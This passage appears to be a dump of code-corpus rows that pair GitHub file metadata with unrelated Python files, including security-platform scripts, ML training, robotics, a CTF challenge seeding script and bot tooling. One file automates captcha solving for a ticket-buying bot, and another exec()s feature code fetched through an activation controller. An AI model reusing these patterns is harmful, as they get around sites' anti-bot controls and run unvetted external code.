hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b6d66846dd1a4e3402cad6fd04c432f519bd5085 | 625 | py | Python | quant/observers/observer.py | doubleDragon/QuantBot | 53a1d6c62ecece47bf777da0c0754430b706b7fd | [
"MIT"
] | 7 | 2017-10-22T15:00:09.000Z | 2019-09-19T11:45:43.000Z | quant/observers/observer.py | doubleDragon/QuantBot | 53a1d6c62ecece47bf777da0c0754430b706b7fd | [
"MIT"
] | 1 | 2018-01-19T16:19:40.000Z | 2018-01-19T16:19:40.000Z | quant/observers/observer.py | doubleDragon/QuantBot | 53a1d6c62ecece47bf777da0c0754430b706b7fd | [
"MIT"
] | 5 | 2017-12-11T15:10:29.000Z | 2018-12-21T17:40:58.000Z | import abc
class Observer(object):
__metaclass__ = abc.ABCMeta
def __init__(self):
self.is_terminated = False
def terminate(self):
self.is_terminated = True
def update_balance(self):
pass
def update_other(self):
pass
def tick(self, depths):
pass
... | 19.53125 | 95 | 0.6192 |
edefcfed10ffc0c1828ff2bf3352ad064f80ade4 | 2,221 | py | Python | Packs/CortexXDR/Scripts/CortexXDRAdditionalAlertInformationWidget/CortexXDRAdditionalAlertInformationWidget.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CortexXDR/Scripts/CortexXDRAdditionalAlertInformationWidget/CortexXDRAdditionalAlertInformationWidget.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CortexXDR/Scripts/CortexXDRAdditionalAlertInformationWidget/CortexXDRAdditionalAlertInformationWidget.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | from CommonServerPython import *
import traceback
''' COMMAND FUNCTION '''
def get_additonal_info() -> List[Dict]:
alerts = demisto.get(demisto.context(), 'PaloAltoNetworksXDR.OriginalAlert')
if not alerts:
raise DemistoException('Original Alert is not configured in context')
if not isinstance(a... | 38.293103 | 98 | 0.633949 |
b697c60fa81218c8991539315a6c9b2990ef5f64 | 2,232 | py | Python | VerifyCode.py | Fzzfbu2/AutoGetTicket | bdc8f460cf70ce770ecf9b49ec498a7756742e14 | [
"Apache-2.0"
] | 1 | 2020-01-20T09:55:37.000Z | 2020-01-20T09:55:37.000Z | VerifyCode.py | Fzzfbu2/AutoGetTicket | bdc8f460cf70ce770ecf9b49ec498a7756742e14 | [
"Apache-2.0"
] | null | null | null | VerifyCode.py | Fzzfbu2/AutoGetTicket | bdc8f460cf70ce770ecf9b49ec498a7756742e14 | [
"Apache-2.0"
] | null | null | null | import os
import time
import pyautogui
import pyperclip
import requests
import win32api
import win32con
from selenium.webdriver import ActionChains
class VerifyCode:
def __init__(self, driver):
self.driver = driver
""" 目前这个接口时免费的。个人用没问题 """
self.verify_url = "http://littleb... | 31.43662 | 121 | 0.533154 |
1e812ad4c4d03ecc9ecd40daf83896fd58ecb93e | 1,007 | py | Python | source/pkgsrc/devel/py-txgithub/patches/patch-txgithub_scripts_gist.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | 1 | 2021-11-20T22:46:39.000Z | 2021-11-20T22:46:39.000Z | source/pkgsrc/devel/py-txgithub/patches/patch-txgithub_scripts_gist.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | source/pkgsrc/devel/py-txgithub/patches/patch-txgithub_scripts_gist.py | Scottx86-64/dotfiles-1 | 51004b1e2b032664cce6b553d2052757c286087d | [
"Unlicense"
] | null | null | null | $NetBSD: patch-txgithub_scripts_gist.py,v 1.2 2017/10/01 09:52:19 wiz Exp $
Fix for python-3.x.
https://github.com/tomprince/txgithub/issues/13
--- txgithub/scripts/gist.py.orig 2017-09-30 20:47:17.806190554 +0000
+++ txgithub/scripts/gist.py
@@ -30,16 +30,16 @@ def postGist(reactor, token, files):
gistFiles... | 34.724138 | 84 | 0.6286 |
bf6168cb7acba96b551b6b3820dc17bea6066f1d | 104 | py | Python | insomniac/extra_features/action_dm.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 533 | 2020-06-01T10:40:11.000Z | 2022-03-29T17:05:50.000Z | insomniac/extra_features/action_dm.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 399 | 2020-06-01T22:01:55.000Z | 2022-03-29T20:39:29.000Z | insomniac/extra_features/action_dm.py | shifenis/Insomniac | 7c9d572b83c29049bc3075073be5549fe821a739 | [
"MIT"
] | 166 | 2020-06-01T21:51:52.000Z | 2022-03-12T14:14:44.000Z | from insomniac import activation_controller
exec(activation_controller.get_extra_feature('action_dm'))
| 26 | 58 | 0.875 |
44cf94c5fdf98f871538f11ac67edf71ae02d34a | 7,480 | py | Python | code/motor/robot.py | dieterpl/iDogstra | 62ee246763e107335b9caf0a4f96239fa0953234 | [
"MIT"
] | null | null | null | code/motor/robot.py | dieterpl/iDogstra | 62ee246763e107335b9caf0a4f96239fa0953234 | [
"MIT"
] | null | null | null | code/motor/robot.py | dieterpl/iDogstra | 62ee246763e107335b9caf0a4f96239fa0953234 | [
"MIT"
] | null | null | null | import time
try:
import brickpi3
except Exception:
print("WARNING: no brickpi3 found (not running on raspberry pi?)")
brickpi3 = None
try:
import getch
except Exception:
print("WARNING: no getch found")
getch = None
import sys
if brickpi3 is not None:
class Robot (brickpi3.BrickPi3):
... | 32.951542 | 91 | 0.541176 |
787acf14f59696e8f16cf6760a73268d0a139e38 | 1,295 | py | Python | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | 40 | 2022-03-03T07:34:00.000Z | 2022-03-31T07:38:35.000Z | Packs/MalwareInvestigationAndResponse/Scripts/InvestigationDetailedSummaryToTable/InvestigationDetailedSummaryToTable.py | jrauen/content | 81a92be1cbb053a5f26a6f325eff3afc0ca840e0 | [
"MIT"
] | null | null | null | from CommonServerPython import *
TACTIC = 'Tactic'
STATUS = 'Status'
BOOL_TO_DESCRIPTION = {True: '🔴 Detected', False: '🟢 Not Detected'}
def table_command(context: dict) -> CommandResults:
if not context:
return CommandResults(
readable_output='### Waiting on entries\n'
... | 37 | 113 | 0.664865 |
01e07ad8588df02b2b29517992a57bb9371ff315 | 10,984 | py | Python | training.py | NiksMer/ManiBERT | 00e726ccd3d1b465c614c72b0b79c5286d0e68b4 | [
"MIT"
] | null | null | null | training.py | NiksMer/ManiBERT | 00e726ccd3d1b465c614c72b0b79c5286d0e68b4 | [
"MIT"
] | null | null | null | training.py | NiksMer/ManiBERT | 00e726ccd3d1b465c614c72b0b79c5286d0e68b4 | [
"MIT"
] | null | null | null | # %%
# Setup
## Packages
import pandas as pd
import numpy as np
import torch
from transformers import RobertaForSequenceClassification, TrainingArguments, Trainer, RobertaTokenizer, RobertaConfig
from datasets import load_metric, load_dataset
from sklearn.metrics import precision_recall_fscore_support, accuracy_score,... | 30.342541 | 140 | 0.711307 |
171ce1b9a2152f3d9fb2b482b3a9dc061afe08d1 | 11,310 | py | Python | Packs/CVSS/Scripts/CVSSCalculator/CVSSCalculator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CVSS/Scripts/CVSSCalculator/CVSSCalculator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CVSS/Scripts/CVSSCalculator/CVSSCalculator.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
import math
from typing import Dict, Any
def round_up(n):
if n is None:
return None
int_input = int(n * 100000)
if (int_input % 10000) == 00:
return int_input / 100000.0
else:
return math.floor((int_input / 10000) ... | 33.862275 | 119 | 0.496994 |
172bdfd38a3b4a68ec4d5979302aa83645e5817e | 1,952 | py | Python | Blatt5/src/script.py | lewis206/Computational_Physics | 06ad6126685eaf65f5834bfe70ebd91b33314395 | [
"MIT"
] | null | null | null | Blatt5/src/script.py | lewis206/Computational_Physics | 06ad6126685eaf65f5834bfe70ebd91b33314395 | [
"MIT"
] | null | null | null | Blatt5/src/script.py | lewis206/Computational_Physics | 06ad6126685eaf65f5834bfe70ebd91b33314395 | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
import matplotlib
from scipy.optimize import curve_fit
# Set fontsize larger for plots
matplotlib.rcParams.update({'font.size': 20})
# Exercise 1
for i in ["",10,20,50]:
# Generate data from files
a = np.genfromtxt("output/data"+str(i)+".txt", unpack=True)
... | 44.363636 | 140 | 0.682377 |
e505c60ef60276d1b46cf32dd6e3eec9d7a56586 | 714 | py | Python | src/unittest/python/erweitert/test_allgemein.py | dlangheiter-tgm/test-mirror | 9878da44953c40abc1df0311f275c3eebc2e876b | [
"MIT"
] | null | null | null | src/unittest/python/erweitert/test_allgemein.py | dlangheiter-tgm/test-mirror | 9878da44953c40abc1df0311f275c3eebc2e876b | [
"MIT"
] | null | null | null | src/unittest/python/erweitert/test_allgemein.py | dlangheiter-tgm/test-mirror | 9878da44953c40abc1df0311f275c3eebc2e876b | [
"MIT"
] | null | null | null | """
Created on 27.12.2013
@author: Walter Rafeiner-Magor <wrafeiner-magor@tgm.ac.at>
"""
import unittest
from bruch.Bruch import *
class TestAllgemein(unittest.TestCase):
def setUp(self):
self.b = Bruch(3, 2)
self.b2 = Bruch(self.b)
self.b3 = Bruch(4, 2)
pass
def tearDown(se... | 21.636364 | 70 | 0.609244 |
e5394c626cc694eb29672ca3c2176a352e19433c | 23 | py | Python | test/test.py | ruum42/pySchloss | f1415b48187ef0966019051e7681ae59a274215b | [
"Apache-2.0"
] | 12 | 2015-02-14T15:15:40.000Z | 2020-06-23T12:32:05.000Z | test/test.py | hassoon1986/pySchloss | f1415b48187ef0966019051e7681ae59a274215b | [
"Apache-2.0"
] | null | null | null | test/test.py | hassoon1986/pySchloss | f1415b48187ef0966019051e7681ae59a274215b | [
"Apache-2.0"
] | 7 | 2015-07-29T18:54:37.000Z | 2021-01-27T17:24:37.000Z | __author__ = 'madmike'
| 11.5 | 22 | 0.73913 |
c1e91243ba2517f0c7942cf7a5db8428c599ff05 | 1,804 | py | Python | python/douban/test/testBs4.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | 1 | 2019-05-22T07:12:34.000Z | 2019-05-22T07:12:34.000Z | python/douban/test/testBs4.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | 3 | 2021-12-10T01:13:54.000Z | 2021-12-14T21:18:42.000Z | python/douban/test/testBs4.py | TimVan1596/ACM-ICPC | 07f7d728db1ecd09c5a3d0f05521930b14eb9883 | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8 -*-
# @Time:2020/8/7 17:37
# @Author:TimVan
# @File:testBs4.py
# @Software:PyCharm
# from bs4 import BeautifulSoup
#
# file = open("./baidu.html", "rb")
# html = file.read()
# bs = BeautifulSoup(html, "html.parser")
# 1、Tag,标签
# print(bs.title)
# print(bs.head)
# print(bs.a)
# print(type(bs.head))
... | 17.514563 | 43 | 0.633592 |
de1591a2f189036b901f2843ae869ec8189e0b90 | 220 | py | Python | klufweb/feed/admin.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | null | null | null | klufweb/feed/admin.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | 5 | 2015-05-22T12:05:54.000Z | 2015-05-22T12:09:06.000Z | klufweb/feed/admin.py | mseln/klufweb | a785d44415fde933723220fab7f18f2ae4fd748d | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
from feed.models import NewsArticle, NewsArticleAdmin
from feed.models import Event, EventAdmin
admin.site.register(NewsArticle, NewsArticleAdmin)
admin.site.register(Event, EventAdmin)
| 31.428571 | 53 | 0.845455 |
a9e9292502b02f2c93833c4dd03a154fd7fb62bd | 5,821 | py | Python | python/tutlibs/visualization.py | Obarads/Point_Cloud_Tutorial | faf7ae8abf962ecea414cc7557dc35f4fca0e406 | [
"MIT"
] | 1 | 2021-11-22T10:32:49.000Z | 2021-11-22T10:32:49.000Z | python/tutlibs/visualization.py | Obarads/Point_Cloud_Tutorial | faf7ae8abf962ecea414cc7557dc35f4fca0e406 | [
"MIT"
] | 1 | 2021-12-09T14:39:51.000Z | 2021-12-09T14:39:51.000Z | python/tutlibs/visualization.py | Obarads/Point_Cloud_Tutorial | faf7ae8abf962ecea414cc7557dc35f4fca0e406 | [
"MIT"
] | null | null | null | import numpy as np
import k3d
from typing import List
from tutlibs.utils import color_range_rgb_to_8bit_rgb, rgb_to_hex, single_color
from tutlibs.operator import gather
class JupyterVisualizer:
def __init__(self) -> None:
print("Note: this class is staticmethod only.")
@staticmethod
def display(... | 35.493902 | 122 | 0.574644 |
99c7c801eb7060e1eaeaf99633bec510fa2b99e8 | 206 | py | Python | foundation/patches/v0_0/update_erpnext_job_route.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 59 | 2017-03-15T08:14:52.000Z | 2021-11-17T14:21:58.000Z | foundation/patches/v0_0/update_erpnext_job_route.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 147 | 2017-01-25T10:44:47.000Z | 2020-11-05T04:24:22.000Z | foundation/patches/v0_0/update_erpnext_job_route.py | prafful1234/foundation | 6fcb027e76eae8d307c3dd70436a9657ff681f01 | [
"MIT"
] | 134 | 2017-03-14T14:04:21.000Z | 2022-03-18T08:19:47.000Z | import frappe
def execute():
for job in frappe.get_all("Portal Job"):
frappe.db.set_value("Portal Job", job.name, "route", "erpnext-job/{0}".format(job.name.encode('utf-8')),
update_modified=False)
| 25.75 | 106 | 0.699029 |
d87f35e3623a22088ffab8da999d951445fda9f4 | 1,270 | py | Python | mqtt/mqtt_publish_und_subscribe.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | mqtt/mqtt_publish_und_subscribe.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | mqtt/mqtt_publish_und_subscribe.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
# Notwendige Bibliothek installieren:
# pip3 install paho-mqtt
import time
import random
import paho.mqtt.client as mqtt
TOPIC = "test/topic"
def on_connect(mqttc, obj, flags, rc):
print("rc: "+str(rc))
def on_message(mqttc, obj, msg):
print(msg.topic+" "+str(msg.qos)+" "+st... | 23.518519 | 77 | 0.724409 |
510ed5876673fe1388bbf7d8da65384ce0c75909 | 356 | py | Python | frappe-bench/apps/erpnext/erpnext/regional/__init__.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/__init__.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/regional/__init__.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2018, Frappe Technologies and contributors
# For license information, please see license.txt
import frappe
from frappe import _
from erpnext import get_region
def check_deletion_permission(doc, method):
region = get_region()
if region in ["Nepal", "France"]:
frappe.throw(_("Deletion is not permitt... | 32.363636 | 77 | 0.769663 |
5ad86b41dfe4152a2326a658948614ecf4731f23 | 749 | py | Python | back-end/src/run_query.py | akshah/iodb | 80fbad1cb639e2cad304d6565cf4918ee5b4e4c0 | [
"Apache-2.0"
] | null | null | null | back-end/src/run_query.py | akshah/iodb | 80fbad1cb639e2cad304d6565cf4918ee5b4e4c0 | [
"Apache-2.0"
] | null | null | null | back-end/src/run_query.py | akshah/iodb | 80fbad1cb639e2cad304d6565cf4918ee5b4e4c0 | [
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python
from __future__ import print_function
from collections import defaultdict
from contextlib import closing
import MySQLdb
import sys
def run_query(db,query):
toReturn=[]
with closing( db.cursor() ) as cur:
try:
cur.execute(query)
row=cur.fetchone()
while row is not None:
p... | 19.710526 | 56 | 0.639519 |
5c84a76c3c7e738b481bfc023bcc063134094892 | 1,465 | py | Python | kts/core/backend/worker.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 18 | 2019-02-14T13:10:07.000Z | 2021-11-26T07:10:13.000Z | kts/core/backend/worker.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 2 | 2019-02-17T14:06:42.000Z | 2019-09-15T18:05:54.000Z | kts/core/backend/worker.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 2 | 2019-09-15T13:12:42.000Z | 2020-04-15T14:05:54.000Z | import os
import traceback
from typing import Dict
import pandas as pd
import ray
import kts.core.backend.signal as rs
from kts.core.backend import signal, address_manager
from kts.core.backend.progress import ProgressSignal
from kts.core.backend.signal import RunPID
from kts.core.backend.stats import Stats
from kts.... | 28.72549 | 69 | 0.664164 |
7a85df348f5f29fd89d42fefc01f170003300bc9 | 1,089 | py | Python | tradingbot/core/config.py | stefaniuk/trading-bot | 403abd2b53caf686a6d2456e7eab124c670e7340 | [
"MIT"
] | 3 | 2018-05-10T13:51:42.000Z | 2020-07-05T16:43:45.000Z | tradingbot/core/config.py | stefaniuk/trading-bot | 403abd2b53caf686a6d2456e7eab124c670e7340 | [
"MIT"
] | null | null | null | tradingbot/core/config.py | stefaniuk/trading-bot | 403abd2b53caf686a6d2456e7eab124c670e7340 | [
"MIT"
] | 1 | 2020-04-22T09:06:17.000Z | 2020-04-22T09:06:17.000Z | import configparser
import os
class Configurer(object):
def __init__(self, name="data.ini"):
self.config = configparser.ConfigParser()
self.config_file = self._combine(name)
def _combine(self, path):
return os.path.join(os.path.dirname(os.path.dirname(__file__)), path)
def write(... | 29.432432 | 77 | 0.545455 |
8f8db2af3a47bbf9a55d8a9e2f6a7ea22d477c2b | 377 | py | Python | tag_1/p_3_2_fakultaet_berechnen.py | techrabbit58/uebung_informatik_vorkurs | e99312ae66ccccd6bfe45bfd3c3f43c01690659c | [
"Unlicense"
] | null | null | null | tag_1/p_3_2_fakultaet_berechnen.py | techrabbit58/uebung_informatik_vorkurs | e99312ae66ccccd6bfe45bfd3c3f43c01690659c | [
"Unlicense"
] | null | null | null | tag_1/p_3_2_fakultaet_berechnen.py | techrabbit58/uebung_informatik_vorkurs | e99312ae66ccccd6bfe45bfd3c3f43c01690659c | [
"Unlicense"
] | null | null | null | """
3 for/whils-Schleifen (Tag 1)
3.2 Schreibe ein Programm, das für eine vorher festgelegte Zahl die Fakultät berechnet.
Beispiele:
- 5! = 120
- 10! = 3628800
"""
def fakultaet(n):
antwort = 1
while n > 1:
antwort *= n
n -= 1
return antwort
if __name__ == '__main__':
assert... | 17.136364 | 87 | 0.604775 |
56f5289febffa30278a50b6d4923dd0ea6c73986 | 1,229 | py | Python | bildungslogin-plugin/bildungslogin_plugin/backend.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | bildungslogin-plugin/bildungslogin_plugin/backend.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | bildungslogin-plugin/bildungslogin_plugin/backend.py | univention/bildungslogin | 29bebe858a5445dd5566aad594b33b9dd716eca4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import annotations
import abc
from .models import User
class ConfigurationError(ConnectionError):
...
class DbConnectionError(ConnectionError):
...
class UserNotFound(Exception):
...
class DbBackend(abc.ABC):
"""Base class for LDAP database access."""
... | 24.58 | 97 | 0.634662 |
85410c74b57eb924a702e9207da61927e86c9a72 | 1,084 | py | Python | Theories/Algorithms/Recursion2/Searcha2DMatrixII/search_2d_matrixII.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Theories/Algorithms/Recursion2/Searcha2DMatrixII/search_2d_matrixII.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Theories/Algorithms/Recursion2/Searcha2DMatrixII/search_2d_matrixII.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from typing import List
# Solution 1
def searchMatrix(matrix: List[List[int]], target: int) -> bool:
cur_col, cur_row = len(matrix[0]) - 1, 0
while cur_col >= 0 and cur_row < len(matrix):
if matrix[cur_row][cur_col] > target:
cur_col -= 1
elif matrix[cur_row][cur_col] < target:
... | 25.809524 | 64 | 0.479705 |
f136cb09a267ce07c92ec9a4012ff1753bf15377 | 3,466 | py | Python | halfint_test.py | mark-caprio/am | e2c715513ca1b9df98e71b78084914f00a50f8dc | [
"MIT"
] | 1 | 2020-03-30T18:34:33.000Z | 2020-03-30T18:34:33.000Z | halfint_test.py | mark-caprio/am | e2c715513ca1b9df98e71b78084914f00a50f8dc | [
"MIT"
] | null | null | null | halfint_test.py | mark-caprio/am | e2c715513ca1b9df98e71b78084914f00a50f8dc | [
"MIT"
] | 3 | 2019-02-24T20:23:16.000Z | 2019-08-09T02:14:45.000Z | """Provide Python port of halfint_test.cpp unit tests.
Language: Python 3
Mark A. Caprio
University of Notre Dame
05/17/20 (mac): Created.
06/26/20 (mac): Finish converting tests. Add dict key test.
"""
import am
if (__name__=="__main__"):
# // HalfInt arithmetic tests
# std::cout <<... | 39.386364 | 109 | 0.525389 |
7418152193c9bec0825044c0d6dc3cc35aad42ca | 2,094 | py | Python | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline/monitor_log_invoker.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline/monitor_log_invoker.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-pipeline-kernel/src/watchmen_pipeline_kernel/pipeline/monitor_log_invoker.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from asyncio import ensure_future, run
from logging import getLogger
from typing import Callable
from watchmen_auth import PrincipalService
from watchmen_data_kernel.meta import TopicService
from watchmen_data_kernel.topic_schema import TopicSchema
from watchmen_model.admin import PipelineTriggerType, TopicKind
from w... | 36.736842 | 107 | 0.815186 |
741d6794c1ebfa61b7c121ee6bec65d1b0d65313 | 1,320 | py | Python | 3kCTF/2021/web/pawnshop/apache/elastic_init.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | 1 | 2021-11-02T20:53:58.000Z | 2021-11-02T20:53:58.000Z | 3kCTF/2021/web/pawnshop/apache/elastic_init.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | 3kCTF/2021/web/pawnshop/apache/elastic_init.py | ruhan-islam/ctf-archives | 8c2bf6a608c821314d1a1cfaa05a6cccef8e3103 | [
"MIT"
] | null | null | null | from elasticsearch import Elasticsearch
import random
import string
def id_generator(size=6, chars=string.ascii_lowercase+ string.digits):
return ''.join(random.choice(chars) for _ in range(size))
es_client = Elasticsearch(['http://172.30.0.7:9200'])
FLAG = '3k{*REDACTED*}'
entries=[]
entries.append({"id":1,"pict... | 47.142857 | 149 | 0.70303 |
74420c44a41363e56423cd99a1dba7e259be2177 | 1,666 | py | Python | backend/utils/validate_json.py | methodpark/digitaleswarten | 024c0b88df54e9727925b202e139b3c5b2ce73d6 | [
"Apache-2.0"
] | 10 | 2020-03-20T19:14:43.000Z | 2020-10-29T21:31:40.000Z | backend/utils/validate_json.py | methodpark/digitaleswarten | 024c0b88df54e9727925b202e139b3c5b2ce73d6 | [
"Apache-2.0"
] | 41 | 2020-03-20T20:27:55.000Z | 2020-03-24T21:49:37.000Z | backend/utils/validate_json.py | methodpark/digitaleswarten | 024c0b88df54e9727925b202e139b3c5b2ce73d6 | [
"Apache-2.0"
] | 1 | 2020-03-21T09:31:51.000Z | 2020-03-21T09:31:51.000Z | from flask import abort
from jsonschema import validate, ValidationError
def has_json_header(request):
"""
Checks if a request contains json content.
Throws 400 otherwise.
"""
if 'application/json' not in request.headers['Content-Type']:
abort(400)
def validate_format(data, schema):
i... | 20.825 | 65 | 0.558223 |
748e9dc6f0fa26d6c661380be2faa7d242d2ef9f | 440 | py | Python | nnc/migrations/0003_product_description.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | nnc/migrations/0003_product_description.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | nnc/migrations/0003_product_description.py | JanakiRaman-2002/Arre-yaar | c0b44ca1f8884a09116241dcd0bf7cfcee3b785d | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.2 on 2021-07-31 10:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nnc', '0002_auto_20210729_1145'),
]
operations = [
migrations.AddField(
model_name='product',
name='description',
... | 22 | 70 | 0.604545 |
247144267cc3a246754d8f4568bea346b485f116 | 4,370 | py | Python | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/loader/pipelines/segmentation.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 5 | 2022-01-30T07:35:58.000Z | 2022-02-08T05:45:20.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/loader/pipelines/segmentation.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-01-14T02:33:28.000Z | 2022-01-14T02:33:28.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/loader/pipelines/segmentation.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-03-07T10:51:21.000Z | 2022-03-07T10:51:21.000Z | # copyright (c) 2021 PaddlePaddle Authors. All Rights Reserve.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 33.358779 | 74 | 0.462014 |
56898797571ee91b9705014a4713968199acc5eb | 3,507 | py | Python | self_annotation_test.py | pradeep90/annotation_collector | 49dcbe4de9a40f4efe55495bcb128c03cb46aff2 | [
"MIT"
